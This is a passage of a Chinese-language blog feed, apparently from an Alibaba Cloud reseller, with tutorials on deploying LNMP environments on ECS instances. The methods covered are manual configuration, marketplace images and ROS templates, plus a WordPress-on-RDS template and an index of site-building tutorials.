    4. root html;改成root /usr/local/nginx/html;
    5. fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;改成fastcgi_param SCRIPT_FILENAME /usr/local/nginx/html/$fastcgi_script_name;
    6. 按下Esc键,然后输入:wq并回车以保存并关闭Nginx配置文件。
  8. 输入命令service nginx reload重新载入Nginx的配置文件。
  9. 输入命令vi /usr/local/nginx/html/index.php打开index.php文件,按下i键,然后写入如下内容:
    <?php $conn=mysql_connect('127.0.0.1','root',''); if ($conn){ echo "LNMP platform connect to mysql is successful!";
    }else{ echo "LNMP platform connect to mysql is failed!";
    }
    phpinfo(); ?>
  10. 按下Esc键,然后输入:wq并回车以保存并关闭index.php文件。
步骤五:测试访问

登录 ECS管理控制台,单击左侧导航栏中的实例,在实例列表中复制正在部署环境的实例的公网IP地址。用浏览器访问这个公网IP地址,如您看见如下图所示页面,则表示LNMP平台构建完成。


阿里云使用小妙招



如果遇到问题可以随时联系米姆,我们将免费为您提供阿里云基础服务。

]]>
镜像部署 LNMP 环境-阿里云ECS Mon, 27 May 2019 21:06:17 +0800 镜像部署 LNMP 环境-阿里云ECS




LNMP分别代表Linux、Nginx、MySQL、PHP。本文介绍如何在ECS实例上使用镜像部署LNMP环境。

您可选用以下几种方式在ECS实例上部署LNMP环境:

  • 镜像部署LNMP环境。
  • 一键部署LNMP环境。
  • 手动部署LNMP环境。

下表列出了镜像部署和手动部署两种方式的特点。一般推荐镜像部署。如果您需要个性化定制部署,建议使用手动部署。


对比项 镜像部署 手动部署
部署所需时间 3-5分钟,快速部署上云 1-2天。选择适合的操作系统、中间件、数据库、各类软件、插件、脚本,再进行安装和配置
专业性 IOPS 由运维过万级用户的优质服务商提供 依赖开发人员的开发水平
个性化 支持主流应用场景 可满足个性化的部署要求
安全性 经过严格安全审核,集成最稳定安全的版本 依赖开发人员的开发水平
售后服务 专业售后工程师团队支持 依赖运维人员的经验,或由外包团队支持
说明
  • 本文档只介绍通用的操作步骤。一般镜像软件安装包都包含了操作指南,请阅读镜像操作指南进行具体的安装和配置。
  • 阿里云的 云市场 提供了丰富的镜像资源。镜像集成了操作系统和应用程序。在创建实例时,您可以选择包含了应用环境的镜像,创建后无需再部署环境。
  • 云服务器 ECS 不支持虚拟化软件(如 KVM、Xen、VMware 等)的安装部署。

操作步骤

说明
  • 本节介绍的方法适用于已经购买实例、但想使用镜像重新部署环境的用户。此外,您也可以在创建实例的时候就选择镜像,请参考 创建实例。
  • 如果您想使用镜像市场的镜像来替换当前实例的操作系统,可以通过本节介绍的更换系统盘的方法来实现。
  • 更换系统盘的时候,数据盘 的数据则不会受到影响。因此建议您将系统盘的个人数据备份到数据盘中,或采用其他方式进行备份。
  • 更换系统盘后,IP 地址不会改变。

如果您购买的实例已经开始运行,但是您想使用镜像市场中的镜像重新部署环境,操作步骤如下:

  1. 登录 ECS管理控制台。
  2. 我的资源部分下的云服务器
    阿里云使用小妙招
  3. 实例列表里找到需要重新部署环境的实例,单击实例ID或右边的管理
    阿里云使用小妙招
  4. 如果该实例刚刚创建,可以在实例详情页面单击停止。如果实例已经运行了一段时间,您想保留其中的数据,请在操作前将数据备份到数据盘中。
    阿里云使用小妙招
    说明 在更换镜像后,系统盘的数据会全部被清空,服务器的自动备份的快照也可能会被删除(取决于您的设置,请参见设置自动快照随云盘释放)。因此务必做好数据备份工作。
  5. 击单提醒窗口的确定按钮。
    阿里云使用小妙招
  6. 选择停止方式,设置停止模式,然后单击确定停止实例。
    阿里云使用小妙招
    说明 如果您停止实例是为了更换系统盘、重新初始化磁盘、更改实例规格、修改私网IP等操作,建议您勾选 停止后仍旧保留实例并继续收费选项,避免启动失败。
  7. 配置信息部分,单击 更多选择更换系统盘
    阿里云使用小妙招
  8. 在提示消息中,单击 确定,更换系统盘
    阿里云使用小妙招
  9. 单击 镜像市场,然后单击 从镜像市场选择(含操作系统)
    阿里云使用小妙招
  10. 镜像市场列表的左侧是镜像的分类。您可以根据分类,选择想使用的镜像,。也可以在搜索栏里输入想使用的镜像,然后单击搜索。找到需要的镜像后,单击 使用
    阿里云使用小妙招
  11. 输入登录密码,然后在确认密码中再输入一次。
    阿里云使用小妙招
  12. 在页面的右下角, 勾选《云服务器ECS服务条款》《镜像商品使用条款》,然后单击确定更换
    阿里云使用小妙招
  13. 窗口提示系统盘更换成功。单击返回实例列表
    阿里云使用小妙招

您成功使用镜像部署了环境。现在可以启动、登录实例,开始使用您的环境了。

]]>
一键部署LNMP环境-阿里云ECS Mon, 27 May 2019 21:06:17 +0800 一键部署LNMP环境-阿里云ECS




LNMP分别代表Linux、Nginx、MySQL、PHP。本文介绍如何使用阿里云资源编排服务(ROS)一键部署LNMP环境。

ROS是阿里云官网提供的免费服务,无需下载安装。您可以使用ROS创建JSON格式的资源栈模板文件,或者使用ROS提供的 模板样例 创建一组阿里云资源。在本教程中,我们会使用ROS控制台提供的 LNMP_basic 模板,自动创建一台ECS实例,并在实例上部署LNMP环境。

前提条件

创建按量付费资源时,账号余额不能低于100.00元,可以是现金、可用信用额度或者可用于开通产品的代金券。

操作步骤

  1. 登录 ROS管理控制台。
    说明 如果您是首次使用ROS,必须先开通ROS服务。ROS服务免费,开通服务不会产生任何费用。
  2. 在左侧导航栏中,选择 关键帮助 > ECS实例相关信息,获取您需要的ECS实例规格、可用区ID(ZoneId)和镜像ID(ImageId)。
  3. 在左侧导航栏中,单击 模板样例
  4. 从模板样例中,找到 LNMP_basic
    阿里云使用小妙招
  5. 单击 预览 按钮查看模板的JSON文件。JSON文件各个顶级字段的解释如下表所示。

    顶级字段 解释
    "ROSTemplateFormatVersion" : "2015-09-01" 定义模板版本。
    "Description": "Deploy LNMP(Linux+Nginx+MySQL+PHP) stack on 1 ECS instance. *** WARNING *** Only support CentOS-7."
    解释说明模板。
    "Parameters" : { } 定义模板的一些参数。本示例中,模板定义的参数包括:镜像ID、实例规格等,并指定了默认值。
    "Resources" : { } 定义这个模板将要创建的阿里云资源。本示例中,申明将要创建一个ECS实例和一个安全组,这里申明的资源属性可以引用Parameters中定义的参数。
    "Outputs": { } 定义资源创建完成后,栈需要输出的资源信息。本示例中,资源创建完成后将输出ECS实例ID、公网IP地址和安全组ID。
    说明 关于ROS资源栈模板的更多信息,请参见资源编排的 模板结构说明。
  6. 单击 创建栈
  7. 所在region 的下拉框中选择具体地域,并在页面右下角单击 下一步。本例选择 华东2
  8. 设置栈的相关参数:
    • 栈名:设置一个栈名,不可重复,而且创建之后不能修改。
    • 创建超时:设置一个时间。如果在设置的时间段内资源未创建成功,则判断超时。您可以选择是否 失败回滚。如果选择失败回滚,那么创建过程中发生任何失败(包括创建超时),ROS都会删除已经创建成功的资源。
    • NginxDownloadUrl:使用默认的Nginx下载地址。
    • DBPasswordPlease Confirm DBPassword:设置并确认访问MySQL数据库的密码。根据模板定义,密码只能包括英文字母和数字。
    • ZoneId:填写您需要创建资源的可用区ID。详见第2步。
    • ImageId:填写创建ECS实例时使用的镜像ID。详见第2步。
    • DBName:填写MySQL数据库名。
    • DBUser:填写MySQL数据库的用户名。
    • DBRootPasswordPlease Confirm DBRootPassword:设置并确认MySQL root账号的密码。根据模板定义,密码只能包括英文字母和数字。
    • InstanceType:填写您需要的ECS实例规格。详见第2步。
    • SystemDiskCategory:选择云盘类型,作为系统盘。
    • InstancePasswordPlease Confirm InstancePassword:设置并确认实例的登录密码。根据模板定义,密码只能包括大写或小写英文字母和数字。

    阿里云使用小妙招
  9. 单击 创建,页面将提示 请求提交成功
    阿里云使用小妙招
  10. 在左侧导航栏中,单击 资源栈管理 查看栈的状态。
    阿里云使用小妙招
  11. 点击新创建的栈的名称,在打开的栈概况页面的输出部分查看Outputs中定义的NginxWebsiteURL。您能通过这个地址访问创建好的LNMP环境。
    阿里云使用小妙招
    说明
    • 资源列表中查看栈中所有资源。
    • 事件列表中查看ROS创建这个资源栈过程中产生的操作记录。任何涉及资源栈的操作失败了,列表中都会显示资源操作失败的原因。
    • 模板列表中查看资源栈的原始模板。

参考信息

您还可以使用ROS提供的其他模板样例搭建环境,比如Java Web测试环境、Node.js测试开发环境、Ruby Web开发测试环境或Hadoop/Spark分布式系统。

更多模板,请参见 模板样例。



遇到任何问题可以随时联系米姆,我们将免费为您提供阿里云基础服务

]]>
创建基于ECS和RDS的WordPress环境--阿里云ECS-RDS Mon, 27 May 2019 21:06:17 +0800 创建基于ECS和RDS的WordPress环境--阿里云ECS-RDS



您可以在资源编排服务ROS (Resource Orchestration Service)中通过模版创建一组阿里云资源。ROS 控制台已经提供一些常用的模版样例。本文将使用一个 ROS 模版创建基于 ECS 和 RDS 的 WordPress 环境。

ROS 模版是一个 JSON 格式文本文件,您可以在这个文本中定义自己的阿里云资源。

前提条件

阿里云规定创建资源时,账号需要有超过 100 元的现金、可用信用额度或者可用于开通产品的代金券。

操作步骤

  1. 登录 ROS管理控制台。
    说明 如果您是首次使用ROS,必须先开通ROS服务。ROS服务免费,开通服务不会产生任何费用。
  2. 在左侧导航栏中,选择 关键帮助 > ECS实例相关信息,获取您需要的ECS实例规格、可用区ID(ZoneId)和镜像ID(ImageId)。
  3. 在控制台左侧导航栏中,单击 模版样例,页面显示 ROS 提供的常用模版。
  4. 从模版示例中找到 wordpress_instance,本篇教程将通过这个模版创建基于 ECS 和 RDS 的 WordPress 环境。
    阿里云ECS
  5. 单击 预览 按钮查看模板的JSON文件。JSON文件各个顶级字段的解释如下表所示。

    顶级字段 解释
    "ROSTemplateFormatVersion" : "2015-09-01" 定义模板版本。
    "Parameters" : { } 定义模板的一些参数。本示例中,模板定义的参数包括:镜像ID、实例规格等,并指定了默认值。
    "Resources" : { } 定义这个模板将要创建的阿里云资源。本示例中,申明将要创建一个ECS实例和一个安全组,这里申明的资源属性可以引用Parameters中定义的参数。
    "Outputs": { } 定义资源创建完成后,栈需要输出的资源信息。本示例中,资源创建完成后将输出ECS实例ID、公网IP地址和安全组ID。
    说明 关于ROS资源栈模板的更多信息,请参见资源编排的 模板结构说明。
  6. 单击 创建栈
  7. 所在region 的下拉框中选择具体地域,并单击 下一步。本例选择 华北2
  8. 设置栈的相关参数。
    • 栈名:设置一个栈名,不可重复,而且创建之后不能修改。
    • 创建超时:设置一个时间。如果在设置的时间段内资源未创建成功,则判断超时。您可以选择是否 失败回滚。如果选择失败回滚,那么创建过程中发生任何失败(包括创建超时),ROS都会删除已经创建成功的资源。
    • ImageId:填写创建ECS实例时使用的镜像ID。详见第2步。
    • InstanceType:填写您需要的ECS实例规格。详见第2步。
    • InstancePasswordPlease Confirm InstancePassword:设置并确认实例的登录密码。根据模板定义,密码只能包括大写或小写英文字母和数字。
    • VpcCidrBlock:填写专有网络VPC的私网网段。更多信息参见网络规划。
    • VSwitchCidrBlock:交换机的网段。交换机所指定的网段必须属于其VPC的网段,并且不能与已有的交换机网段重叠。更多信息参见网络规划。
    • DBInstanceClass:云数据库RDS的实例类型。
    • DBInstanceStorage:云数据库RDS的容量规格。
    • ZoneId:填写您需要创建资源的可用区ID。详见第2步。
    • Engine:选择您需要的数据库引擎。
    • EngineVersion:选择您的数据库引擎版本。
    • DBName:填写MySQL数据库名。
    • DBUser:填写MySQL数据库的用户名。
    • DBPassword :设置访问MySQL数据库的密码。根据模板定义,密码必须包括大写英文字母、小写英文字母、数字和下划线四种。

    阿里云使用小妙招
  9. 单击 创建
  10. 单击左侧导航栏的 资源栈管理,从下拉菜单中选取您创建的栈所在的地域,即可找到您刚创建的栈。
    阿里云使用小妙招
  11. 单击栈名,再单击左侧导航栏中的以下几项可以了解已创建栈的相关信息:
    • 概览:可查看栈的基本信息、启动参数、状态、输出值和栈参数。
    • 资源:可查看栈中包含的所有资源。
    • 事件:可查看 ROS 创建这个资源栈时的操作记录。任何涉及资源栈的操作失败了,会显示具体操作哪个资源失败的原因。
    • 模板:可查看资源栈的原始模板。



遇到任何问题可以随时联系米姆,我们将免费为您提供阿里云基础服务。


]]>
建站教程汇总-阿里云服务器建站 Mon, 27 May 2019 21:06:17 +0800

建站教程汇总-阿里云服务器建站



为了方便您搭建网站,本文汇总了阿里云云市场上最常用的应用镜像使用教程,并提供了教程和云市场镜像链接,让您一键触达,轻松建站。


网站类型 推荐 OS 镜像及其内含资源 说明
搭建WordPress网站 CentOS、Ubuntu、Aliyun Linux
  • Aliyun Linux 一键安装 Web 环境
  • Nginx: 1.4.4
  • Apache: 2.2.29、2.4.10
  • MySQL: 5.1.73、5.5.40、5.6.21
  • PHP: 5.2.17、5.3.29、5.4.23、5.5.7
  • PHP 扩展: Memcached、Zend Engine/Opcache
  • JDK: 1.7.0
  • Tomcat: 7.0.54
  • FTP:(yum/apt-get 安装)
  • PHPWind: 8.7 GBK
  • PHPMyAdmin: 4.1.8
WordPress 是一款常用的搭建个人博客网站的软件。

暂不支持自动挂载 I/O 优化的数据盘。

一键部署LNMP环境 CentOS、Ubuntu、Aliyun Linux
  • ROS
  • Nginx
  • MySQL
  • PHP 5.4.16
LNMP 分别代表 Linux、Nginx、MySQL、PHP。资源编排服务 ROS 是阿里云官网提供的免费服务,无需下载安装。

ROS 通过一个 JSON 格式的模板文件,创建一组阿里云资源。

镜像部署 Linux 环境 CentOS、Ubuntu、Aliyun Linux
  • 由所购 镜像 决定
  • Nginx
  • MySQL
  • PHP
  • 其余由所购镜像决定
适用于已经购买实例,但想使用镜像重新部署环境